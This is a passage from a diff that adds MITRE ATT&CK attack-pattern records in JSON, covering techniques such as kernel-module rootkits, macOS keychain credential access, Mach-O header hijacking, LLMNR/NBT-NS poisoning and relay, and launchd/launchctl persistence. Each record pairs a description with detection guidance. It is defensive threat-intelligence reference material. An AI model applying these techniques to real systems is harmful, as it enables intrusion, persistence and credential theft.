+ "source_name": "Linux Loadable Kernel Module Insert and Remove LKMs", + "description": "Henderson, B. (2006, September 24). How To Insert And Remove LKMs. Retrieved April 9, 2018." + }, + { + "url": "https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/", + "source_name": "CrowdStrike Linux Rootkit", + "description": "Kurtz, G. (2012, November 19). HTTP iframe Injecting Linux Rootkit. Retrieved December 21, 2017." + }, + { + "url": "https://github.com/f0rb1dd3n/Reptile", + "source_name": "GitHub Reptile", + "description": "Augusto, I. (2018, March 8). Reptile - LMK Linux rootkit. Retrieved April 9, 2018." + }, + { + "url": "https://github.com/m0nad/Diamorphine", + "source_name": "GitHub Diamorphine", + "description": "Mello, V. (2018, March 8). Diamorphine - LMK rootkit for Linux Kernels 2.6.x/3.x/4.x (x86 and x86_64). Retrieved April 9, 2018." + }, + { + "url": "https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html", + "source_name": "Volatility Phalanx2", + "description": "Case, A. (2012, October 10). Phalanx 2 Revealed: Using Volatility to Analyze an Advanced Linux Rootkit. Retrieved April 9, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Jeremy Galloway", + "Red Canary" + ], + "x_mitre_data_sources": [ + "System calls", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "LKMs are typically loaded into /lib/modules and have had the extension .ko (\"kernel object\") since version 2.6 of the Linux kernel. (Citation: Wikipedia Loadable Kernel Module)\n\nMany LKMs require Linux headers (specific to the target kernel) in order to compile properly.\u00a0\nThese are typically obtained through the operating systems package manager and installed like a normal package.\n\nAdversaries will likely run these commands on the target system before loading a malicious module in order to ensure that it is properly compiled. (Citation: iDefense Rootkit Overview)\n\nOn Ubuntu and Debian based systems this can be accomplished by running: apt-get install linux-headers-$(uname -r)\n\nOn RHEL and CentOS based systems this can be accomplished by running: yum install kernel-devel-$(uname -r)\n\nLoading, unloading, and manipulating modules on Linux systems can be detected by monitoring for the following commands:modprobe insmod lsmod rmmod modinfo (Citation: Linux Loadable Kernel Module Insert and Remove LKMs)\n\nFor macOS, monitor for execution of kextload commands and correlate with other unknown or suspicious activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--6be14413-578e-46c1-8304-310762b3ecd5", + "name": "Kernel Modules and Extensions", + "created": "2018-04-18T17:59:24.739Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Loadable Kernel Modules (or LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system. (Citation: Linux Kernel Programming)\u00a0When used maliciously, Loadable Kernel Modules (LKMs) can be a type of kernel-mode [Rootkit](https://attack.mitre.org/techniques/T1014) that run with the highest operating system privilege (Ring 0). (Citation: Linux Kernel Module Programming Guide)\u00a0Adversaries can use loadable kernel modules to covertly persist on a system and evade defenses. Examples have been found in the wild and there are some open source projects. (Citation: Volatility Phalanx2) (Citation: CrowdStrike Linux Rootkit) (Citation: GitHub Reptile) (Citation: GitHub Diamorphine)\n\nCommon features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors and enabling root access to non-privileged users. (Citation: iDefense Rootkit Overview)\n\nKernel extensions, also called kext, are used for macOS to load functionality onto a system similar to LKMs for Linux. They are loaded and unloaded through kextload and kextunload commands. Several examples have been found where this can be used. (Citation: RSAC 2015 San Francisco Patrick Wardle) (Citation: Synack Secure Kernel Extension Broken) Examples have been found in the wild. (Citation: Securelist Ventir)", + "x_mitre_permissions_required": [ + "root" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1142", + "source_name": "mitre-attack", + "external_id": "T1142" + }, + { + "url": "https://en.wikipedia.org/wiki/Keychain_(software)", + "source_name": "Wikipedia keychain", + "description": "Wikipedia. (n.d.). Keychain (software). Retrieved July 5, 2017." + }, + { + "url": "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", + "source_name": "External to DA, the OS X Way", + "description": "Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "System calls", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Unlocking the keychain and using passwords from it is a very common process, so there is likely to be a lot of noise in any detection technique. Monitoring of system calls to the keychain can help determine if there is a suspicious process trying to access it.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--9e09ddb2-1746-4448-9cad-7f8b41777d6d", + "name": "Keychain", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Keychains are the built-in way for macOS to keep track of users' passwords and credentials for many services and features such as WiFi passwords, websites, secure notes, certificates, and Kerberos. Keychain files are located in ~/Library/Keychains/,/Library/Keychains/, and /Network/Library/Keychains/. (Citation: Wikipedia keychain) The security command-line utility, which is built into macOS by default, provides a useful way to manage these credentials.\n\nTo manage their credentials, users have to use additional credentials to access their keychain. If an adversary knows the credentials for the login keychain, then they can get access to all the other credentials stored in this vault. (Citation: External to DA, the OS X Way) By default, the passphrase for the keychain is the user\u2019s logon credentials.", + "x_mitre_permissions_required": [ + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1161", + "source_name": "mitre-attack", + "external_id": "T1161" + }, + { + "url": "https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf", + "source_name": "Writing Bad Malware for OSX", + "description": "Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017." + }, + { + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Binary file metadata", + "Process monitoring", + "Process command-line parameters", + "File monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--04ef4356-8926-45e2-9441-634b6f3dcecb", + "name": "LC_LOAD_DYLIB Addition", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long adjustments are made to the rest of the fields and dependencies (Citation: Writing Bad Malware for OSX). There are tools available to perform these changes. Any changes will invalidate digital signatures on binaries because the binary is being modified. Adversaries can remediate this issue by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn\u2019t checked at load time (Citation: Malware Persistence on OS X).", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1149", + "source_name": "mitre-attack", + "external_id": "T1149" + }, + { + "url": "https://assets.documentcloud.org/documents/2459197/bit9-carbon-black-threat-research-report-2015.pdf", + "source_name": "Prolific OSX Malware History", + "description": "Bit9 + Carbon Black Threat Research Team. (2015). 2015: The Most Prolific Year in History for OS X Malware. Retrieved July 8, 2017." + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "Binary file metadata", + "Malware reverse engineering", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Determining the original entry point for a binary is difficult, but checksum and signature verification is very possible. Modifying the LC_MAIN entry point or adding in an additional LC_MAIN entry point invalidates the signature for the file and can be detected. Collect running process information and compare against known applications to look for suspicious behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--a0a189c8-d3bd-4991-bf6f-153d185ee373", + "name": "LC_MAIN Hijacking", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "As of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary\u2019s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD (Citation: Prolific OSX Malware History). The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn\u2019t know anything was different (Citation: Methods of Mac Malware Persistence). By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.", + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Process whitelisting", + "Whitelisting by file name or path" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1171", + "source_name": "mitre-attack", + "external_id": "T1171" + }, + { + "url": "https://en.wikipedia.org/wiki/Link-Local_Multicast_Name_Resolution", + "source_name": "Wikipedia LLMNR", + "description": "Wikipedia. (2016, July 7). Link-Local Multicast Name Resolution. Retrieved November 17, 2017." + }, + { + "url": "https://technet.microsoft.com/library/cc958811.aspx", + "source_name": "TechNet NetBIOS", + "description": "Microsoft. (n.d.). NetBIOS Name Resolution. Retrieved November 17, 2017." + }, + { + "url": "https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html", + "source_name": "byt3bl33d3r NTLM Relaying", + "description": "Salvati, M. (2017, June 2). Practical guide to NTLM Relaying in 2017 (A.K.A getting a foothold in under 5 minutes). Retrieved February 7, 2019." + }, + { + "url": "https://blog.secureideas.com/2018/04/ever-run-a-relay-why-smb-relays-should-be-on-your-mind.html", + "source_name": "Secure Ideas SMB Relay", + "description": "Kuehn, E. (2018, April 11). Ever Run a Relay? Why SMB Relays Should Be On Your Mind. Retrieved February 7, 2019." + }, + { + "url": "https://github.com/nomex/nbnspoof", + "source_name": "GitHub NBNSpoof", + "description": "Nomex. (2014, February 7). NBNSpoof. Retrieved November 17, 2017." + }, + { + "url": "https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response", + "source_name": "Rapid7 LLMNR Spoofer", + "description": "Francois, R. (n.d.). LLMNR Spoofer. Retrieved November 17, 2017." + }, + { + "url": "https://github.com/SpiderLabs/Responder", + "source_name": "GitHub Responder", + "description": "Gaffie, L. (2016, August 25). Responder. Retrieved November 17, 2017." + }, + { + "url": "https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning", + "source_name": "Sternsecurity LLMNR-NBTNS", + "description": "Sternstein, J. (2013, November). Local Network Attacks: LLMNR and NBT-NS Poisoning. Retrieved November 17, 2017." + }, + { + "url": "https://github.com/Kevin-Robertson/Conveigh", + "source_name": "GitHub Conveigh", + "description": "Robertson, K. (2016, August 28). Conveigh. Retrieved November 17, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Eric Kuehn, Secure Ideas", + "Matthew Demaske, Adaptforward" + ], + "x_mitre_data_sources": [ + "Windows event logs", + "Windows Registry", + "Packet capture", + "Netflow/Enclave netflow" + ], + "modified": "2019-02-11T20:19:59.893Z", + "x_mitre_detection": "Monitor HKLM\\Software\\Policies\\Microsoft\\Windows NT\\DNSClient for changes to the \"EnableMulticast\" DWORD value. A value of \u201c0\u201d indicates LLMNR is disabled. (Citation: Sternsecurity LLMNR-NBTNS)\n\nMonitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.\n\nDeploy an LLMNR/NBT-NS spoofing detection tool.(Citation: GitHub Conveigh) Monitoring of Windows event logs for event IDs 4697 and 7045 may help in detecting successful relay techniques.(Citation: Secure Ideas SMB Relay)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "credential-access", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0", + "name": "LLMNR/NBT-NS Poisoning and Relay", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "2.0", + "type": "attack-pattern", + "description": "Link-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR) (Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords. In some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it. (Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay)\n\nSeveral tools exist that can be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174). (Citation: GitHub NBNSpoof) (Citation: Rapid7 LLMNR Spoofer) (Citation: GitHub Responder)", + "x_mitre_permissions_required": [ + "User" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1177", + "source_name": "mitre-attack", + "external_id": "T1177" + }, + { + "url": "https://technet.microsoft.com/library/cc961760.aspx", + "source_name": "Microsoft Security Subsystem", + "description": "Microsoft. (n.d.). Security Subsystem Architecture. Retrieved November 27, 2017." + }, + { + "url": "https://technet.microsoft.com/library/dn408187.aspx", + "source_name": "Microsoft LSA Protection Mar 2014", + "description": "Microsoft. (2014, March 12). Configuring Additional LSA Protection. Retrieved November 27, 2017." + }, + { + "url": "https://msdn.microsoft.com/library/windows/desktop/ff919712.aspx", + "source_name": "Microsoft DLL Security", + "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved November 27, 2017." + }, + { + "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "source_name": "TechNet Autoruns", + "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Vincent Le Toux" + ], + "x_mitre_data_sources": [ + "API monitoring", + "DLL monitoring", + "File monitoring", + "Kernel drivers", + "Loaded DLLs", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "With LSA Protection enabled, monitor the event logs (Events 3033 and 3063) for failed attempts to load LSA plug-ins and drivers. (Citation: Microsoft LSA Protection Mar 2014)\n\nUtilize the Sysinternals Autoruns/Autorunsc utility (Citation: TechNet Autoruns) to examine loaded drivers associated with the LSA.\n\nUtilize the Sysinternals Process Monitor utility to monitor DLL load operations in lsass.exe. (Citation: Microsoft DLL Security)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "kill_chain_phases": [ + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--6e6845c2-347a-4a6f-a2d1-b74a18ebd352", + "name": "LSASS Driver", + "created": "2018-01-16T16:13:52.465Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "The Windows security subsystem is a set of components that manage and enforce the security policy for a computer or domain. The Local Security Authority (LSA) is the main component responsible for local security policy and user authentication. The LSA includes multiple dynamic link libraries (DLLs) associated with various other security functions, all of which run in the context of the LSA Subsystem Service (LSASS) lsass.exe process. (Citation: Microsoft Security Subsystem)\n\nAdversaries may target lsass.exe drivers to obtain execution and/or persistence. By either replacing or adding illegitimate drivers (e.g., [DLL Side-Loading](https://attack.mitre.org/techniques/T1073) or [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1038)), an adversary can achieve arbitrary code execution triggered by continuous LSA operations.", + "x_mitre_permissions_required": [ + "Administrator", + "SYSTEM" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1159", + "source_name": "mitre-attack", + "external_id": "T1159" + }, + { + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017." + }, + { + "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", + "source_name": "OSX Keydnap malware", + "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017." + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", + "source_name": "Antiquated Mac Malware", + "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017." + }, + { + "url": "https://blog.malwarebytes.com/threat-analysis/2017/04/new-osx-dok-malware-intercepts-web-traffic/", + "source_name": "OSX.Dok Malware", + "description": "Thomas Reed. (2017, July 7). New OSX.Dok malware intercepts web traffic. Retrieved July 10, 2017." + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017." + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." + }, + { + "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017." + }, + { + "url": "https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update", + "source_name": "OceanLotus for OS X", + "description": "Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor Launch Agent creation through additional plist files and utilities such as Objective-See\u2019s KnockKnock application. Launch Agents also require files on disk for persistence which can also be monitored via other file monitoring applications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--dd901512-6e37-4155-943b-453e3777b125", + "name": "Launch Agent", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Per Apple\u2019s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user\u2019s directory structure) or when any user logs in (which requires administrator privileges).", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1160", + "source_name": "mitre-attack", + "external_id": "T1160" + }, + { + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html", + "source_name": "AppleDocs Launch Agent Daemons", + "description": "Apple. (n.d.). Creating Launch Daemons and Agents. Retrieved July 10, 2017." + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." + }, + { + "url": "https://www.synack.com/wp-content/uploads/2016/03/RSA_OSX_Malware.pdf", + "source_name": "OSX Malware Detection", + "description": "Patrick Wardle. (2016, February 29). Let's Play Doctor: Practical OS X Malware Detection & Analysis. Retrieved July 10, 2017." + }, + { + "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf", + "source_name": "WireLurker", + "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_data_sources": [ + "Process monitoring", + "File monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Monitor Launch Daemon creation through additional plist files and utilities such as Objective-See's Knock Knock application.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "privilege-escalation", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--e99ec083-abdd-48de-ad87-4dbf6f8ba2a4", + "name": "Launch Daemon", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "type": "attack-pattern", + "description": "Per Apple\u2019s developer documentation, when macOS and OS X boot up, launchd is run to finish system initialization. This process loads the parameters for each launch-on-demand system-level daemon from the property list (plist) files found in /System/Library/LaunchDaemons and /Library/LaunchDaemons (Citation: AppleDocs Launch Agent Daemons). These LaunchDaemons have property list files which point to the executables that will be launched (Citation: Methods of Mac Malware Persistence).\n \nAdversaries may install a new launch daemon that can be configured to execute at startup by using launchd or launchctl to load a plist into the appropriate directories (Citation: OSX Malware Detection). The daemon name may be disguised by using a name from a related operating system or benign software (Citation: WireLurker). Launch Daemons may be created with administrator privileges, but are executed under root privileges, so an adversary may also use a service to escalate privileges from administrator to root.\n \nThe plist file permissions must be root:wheel, but the script or program that it points to has no such requirement. So, it is possible for poor configurations to allow an adversary to modify a current Launch Daemon\u2019s executable and gain persistence or Privilege Escalation.", + "x_mitre_effective_permissions": [ + "root" + ], + "x_mitre_permissions_required": [ + "Administrator" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1152", + "source_name": "mitre-attack", + "external_id": "T1152" + }, + { + "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/", + "source_name": "Sofacy Komplex Trojan", + "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Knock Knock can be used to detect persistent programs such as those installed via launchctl as launch agents or launch daemons. Additionally, every launch agent or launch daemon must have a corresponding plist file on disk somewhere which can be monitored. Monitor process execution from launchctl/launchd for unusual or unknown processes.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "defense-evasion", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + } + ], + "id": "attack-pattern--53bfc8bf-8f76-4cd7-8958-49a884ddb3ee", + "name": "Launchctl", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_version": "1.0", + "x_mitre_remote_support": false, + "type": "attack-pattern", + "description": "Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made (Citation: Sofacy Komplex Trojan). Running a command from launchctl is as simple as launchctl submit -l -- /Path/to/thing/to/execute \"arg\" \"arg\" \"arg\". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. \n\nAdversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.", + "x_mitre_defense_bypassed": [ + "Application whitelisting", + "Process whitelisting", + "Whitelisting by file name or path" + ] + }, + { + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1168", + "source_name": "mitre-attack", + "external_id": "T1168" + }, + { + "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html", + "source_name": "AppleDocs Scheduling Timed Jobs", + "description": "Apple. (n.d.). Retrieved July 17, 2017." + }, + { + "url": "http://www.thesafemac.com/new-signed-malware-called-janicab/", + "source_name": "Janicab", + "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017." + }, + { + "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", + "source_name": "Methods of Mac Malware Persistence", + "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017." + }, + { + "url": "https://www.rsaconference.com/writable/presentations/file_upload/ht-r03-malware-persistence-on-os-x-yosemite_final.pdf", + "source_name": "Malware Persistence on OS X", + "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017." + }, + { + "url": "https://linux.die.net/man/5/crontab", + "source_name": "Die.net Linux crontab Man Page", + "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017." + }, + { + "url": "https://linux.die.net/man/1/at", + "source_name": "Die.net Linux at Man Page", + "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017." + }, + { + "url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/", + "source_name": "Avast Linux Trojan Cron Persistence", + "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_contributors": [ + "Anastasios Pingios" + ], + "x_mitre_data_sources": [ + "File monitoring", + "Process monitoring" + ], + "modified": "2018-10-31T13:45:13.024Z", + "x_mitre_detection": "Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS" + ], + "kill_chain_phases": [ + { + "phase_name": "persistence", + "kill_chain_name": "mitre-attack" + }, + { + "phase_name": "execution", + 